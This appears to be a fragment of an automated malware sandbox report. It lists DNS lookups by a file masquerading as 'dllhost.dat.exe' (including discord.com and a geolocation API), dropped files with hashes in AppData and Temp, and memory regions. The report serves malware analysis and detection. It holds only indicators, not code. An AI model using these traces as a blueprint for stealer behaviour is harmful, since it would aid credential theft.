                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  208.95.112.1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.112.95.208.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  95 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.112.95.208.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  62 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  94 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  api.mylnikov.org

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  172.67.196.114
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  104.21.44.66

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  114.196.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  73 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  135 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  114.196.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dllhost.dat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  57 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  137 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  discord.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.136.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.135.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.128.233
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.137.232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  162.159.138.232

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  232.136.159.162.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  74 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  136 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  232.136.159.162.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81.144.22.2.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  70 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  133 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81.144.22.2.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  29.243.111.52.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  72 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  158 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  29.243.111.52.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.179.89.13.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  71 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  145 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.179.89.13.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\6f0e87350a8d258b728d7297e03dde1f\Admin@FIPWTUZL_en-US\System\Process.txt

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  e2699518aa98a5ca18d6858016715487

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  dee28d7496f6c16d64a85a60105e8dcc21b4d49a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ff33bfad292b290dcc69e257b97d177e9ccfafabab0b3bb1ce7e85567ab0bf59

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  99ee0dc3d6e1bf1b553fc26ac77fc55d5f33ab395679a91f125ef065bd85a2f7c8aaa201b90ac399487f55df7a3febec00f8a6a3ab4a5666499e89472124daca

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\6f0e87350a8d258b728d7297e03dde1f\Admin@FIPWTUZL_en-US\System\Process.txt

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2c7cbb4571fa3119c5a1fba2f13727a0

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7bb5565acdad79c1dd7aa01542581ec186c91f0b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56f297e6eadc9181763332e8990330fd5c85f8853513886c1ff46fa88343ae95

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c8abf7a8c54e74631165a2ca1acc433b619a17bc3e83c92fc4a9dafc3a4dd285256d0c6d1e8e952b49c998c110ffac182bae049acd33e6a4b02b3d5d3fc2f756

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\6f0e87350a8d258b728d7297e03dde1f\Admin@FIPWTUZL_en-US\System\Process.txt

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5a37ccb48498a56d92051d3eb4c3a0d2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6a024658eeb92e81b402034f86e93c431377099d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2ce7196af949bfa15a81bdde9d80cf774084437247b8ff9a6b57aeabb9ba99cb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a72920a5d84a728c26acdb05080c60faccbb25212207d0aface7b85ebe71737814bf698caf0c68ef75052520d58b17933638c4295baf3d28859a86a092c63b81

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\6f0e87350a8d258b728d7297e03dde1f\msgid.dat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cfcd208495d565ef66e7dff9f98764da

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  556084f2c6d459c116a69d6fedcc4105

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  633e89b9a1e77942d822d14de6708430a3944dbc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a68fcc3482ebb381cd7eb80d4dfc7ac9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  68f694b1b7999996678244d8ef9d95f520ec2e39

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1bfbb143c70207d28f8266d08a28e052467ad0eab48c65c19ba8636d44093ea0

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a8a5cc66e81ebb417dcd216541690a31913f8a9cbe676b76ac451c009540ef33558dba762da1736c0f61fb36dfaa71f0926ac1ab8919a892a8ab49087999a2d8

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133651288693373447.txt

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  74KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  a38986b131f99af0f65b6bb5df7739ad

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  275d6aa452eeb7a15887617e91eaec03d41d283b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1cf1c0a7a383f42023907c1bc3b323cb5bc5e1b086d33cbc7edd04b216f6e62a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4de8c63fc59fd745e81e5b4b84291c22a011927594fd51506b6fa94b829a2ee8b8d88cfc8207e4d4b98e61595cb4c7c79991b2ee82e4f53bdc73bc2703f6a2ab

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbc0lr2n.xlz.ps1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  60B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmp9E72.tmp.bat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  155B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  e37f098c12ebf034634c5260d3da24ca

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  db7560b377e8ed0a9f77fa342ffb314754d4eeb7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  55f9ba532e71bb133c63412ad285f7d5a39c7026d5917513b24718daeb41d9e6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  eb493476ee0d0c9245ca2c2d7cdd1ffd5d634ba39274d9cd9e25e6cc26fe21219578a5b65339576bd76be3826a80997d477cc89586bf97122b3c90e1d3cf5d61

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmpC94B.tmp.dat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  114KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d681f32f41435252b44d84a0a92ac5af

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  72656a29ecd5bb6bc779503781de9e8da7a91c18

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  208b27a9ee035d4cdd35e317c3947dd3ae35e9d2b3c1010666d9a78187767cb2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  00932ddb9a1818e2f1773998e80c9582e41638f080ed047c441f899850c613aa38b73301b7dbd9225fd6536b03c6b65ea61455b32755ac45d38f22f300e310eb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmpC95E.tmp.dat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  160KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  f310cf1ff562ae14449e0167a3e1fe46

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  85c58afa9049467031c6c2b17f5c12ca73bb2788

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\tmpE094.tmp.png

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c8c6e428e3226798d5dd595b2aa98d82

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5f82a0f73ad8da95aefed45b5aed175d4060911f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  7774bf5c056c7a460b0f0a517ec1e61e83c170e1fdfd080e77ab3201e6fabbe7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  f3df6841223546d92d812e20287957d6e57c144f48e0493e02af08f92873ff1889d682fd4968e279bedc1f53464af9a551a9171244a7fe8c5de9166ca8ef57c9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cf759e4c5f14fe3eec41b87ed756cea8

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c27c796bb3c2fac929359563676f4ba1ffada1f5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\dllhost.dat.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  272KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  216065e5d553615d2eb0b6cfe500955d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  77e8aa8c51aff504fa2570b802a2cfcefc4cbeb9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8583a10e3990a1a9f00e443c1d39351c69899cff0a902c83e673d233a1467662

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ec5d0edc7d73337445d235b377e8556dd0ac608eaf641e4e711cec28c69fbcd18b239a05843d07f1cadd87ae7b0cb2f69ada5e6de4433a4d7f1c4971eb1b6a7e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-183-0x000000001D4B0000-0x000000001D5D2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-17-0x000000001C3E0000-0x000000001C3FE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  120KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-171-0x000000001C8E0000-0x000000001C964000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  528KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-172-0x000000001D480000-0x000000001D4A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  136KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-18-0x0000000002990000-0x000000000299A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  40KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-180-0x000000001C960000-0x000000001CB09000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.7MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-469-0x0000000001040000-0x000000000104C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  48KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-259-0x000000001C960000-0x000000001CB09000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.7MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-16-0x000000001C4C0000-0x000000001C5F4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-226-0x000000001C2C0000-0x000000001C2CE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-15-0x000000001C440000-0x000000001C4B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  472KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-270-0x0000000001020000-0x0000000001040000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-261-0x0000000000FB0000-0x0000000000FBE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/220-128-0x000000001C860000-0x000000001C8DA000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  488KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3860-3-0x00007FF8D10B0000-0x00007FF8D1B71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3860-8-0x00007FF8D10B0000-0x00007FF8D1B71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3860-10-0x00007FF8D10B0000-0x00007FF8D1B71000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  10.8MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3860-1-0x0000000000FB0000-0x0000000000FFA000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  296KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/3860-0-0x00007FF8D10B3000-0x00007FF8D10B5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/13592-276-0x00000000032F0000-0x00000000032F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/13608-271-0x0000000000400000-0x0000000000410000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/13608-272-0x0000000005010000-0x00000000050A2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  584KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/13608-273-0x00000000050B0000-0x000000000514C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  624KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/13608-274-0x0000000005A40000-0x0000000005FE4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/14304-294-0x0000022167500000-0x0000022167520000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  128KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • memory/14304-313-0x0000022167900000-0x0000022167920000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  128KB

